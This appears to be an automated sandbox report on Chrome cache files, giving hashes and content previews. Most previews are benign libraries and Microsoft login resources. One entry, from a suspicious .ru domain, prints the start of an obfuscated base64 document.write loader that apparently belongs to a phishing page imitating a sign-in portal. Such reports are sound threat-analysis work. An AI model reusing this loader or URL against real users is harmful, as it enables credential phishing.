SHA-256:	54B3F32F5A7C47C0B4DA9FC83E0A8B6A230759EB2D2217E5C275CFDEC6F941E0
SHA-512:	D526FFD04FA5C30EFF6A22BEE8E8654525C0F227F2E7BFF927BE408F3640B3F9546B1E9EE8DEA367CB12560533F73D36935B254BE087D18E48B29430DB36594D
Malicious:	false
Preview:	............................................................E.....CfME.Ua.3.r..e+.]..X....7.~K.B.......s...w.....7...r..zU.k.c.......0.0.u.}..j.....Tu..=.j

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	326
Entropy (8bit):	5.432260125605187
Encrypted:	false
SSDEEP:	6:B8FQtuc4svmo9qvyDPdnTHpGW+q2Q8EevWR0NNEXW0YDBOeHHpS7GHXjNz5pHuoG:BMQt6o9qvyLJpGW+q2Q8EepfdfnpQGHe
MD5:	BF3231D7FAD0292D818AAC7D6D669F00
SHA1:	C29683B3788D729A5FC4504279D10E31DA60745C
SHA-256:	FB2D9F058C2010C57F86A05AE33D282F33E3825290C66B8B120CD177416C6BDF
SHA-512:	856F5087691EED24D717B4A28769D96E0E003588BDC4B3BEB3FA27AD81474B00BE00BCEDF1BC23C7A6F00947047E7C89EE07CC4F3087E7B76E219B3A068F0398
Malicious:	false
URL:	https://idag2.jpmorganchase.com/adfs/fs/federationserverservice.asmx
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">..<HTML><HEAD><TITLE>Service Unavailable</TITLE>..<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>..<BODY><h2>Service Unavailable</h2>..<hr><p>HTTP Error 503. The service is unavailable.</p>..</BODY></HTML>..

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (13765), with CRLF line terminators
Category:	downloaded
Size (bytes):	32505
Entropy (8bit):	5.883204594319563
Encrypted:	false
SSDEEP:	768:9HWPNVTjOeW1U1gnCHWPNVTjOeW1U1gnNlralr3:18TaeW1d88TaeW1dNoF
MD5:	B9C28AA42E725E7CFADEEEA472BA0E0F
SHA1:	2DFF6F39A61A78915725AA9E6341BA17D9580C02
SHA-256:	764DEC922FC2172FACEC829418D350F47559A989D660B58CAB4E3F15D93C82BE
SHA-512:	3D3DE421506F80A029DFFF8DEE79648EED9C9BBEC4A190BB10833E1D4C99905B4CCA886B429B92AF58246D0246CC4EBC4C56AF9E249D1F94E473F72DB10B39B6
Malicious:	false
URL:	https://pllu.gnoqwwhpwe.ru/3aeK/
Preview:	Success is how high you bounce when you hit bottom. -->....<script>....if(atob("aHR0cHM6Ly9wbGx1Lmdub3F3d2hwd2UucnUvM2FlSy8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGNvbG9yOiNkOWQ5Z

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	dropped
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 25, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlZSrcC7Akxl/k4E08up:6v/lhPWI1k7Tp
MD5:	CA789B9CDDF12E26F897A3042A6783CE
SHA1:	78FEF110F16A8F8EDE11566FD4AACFE22A6FB9E4
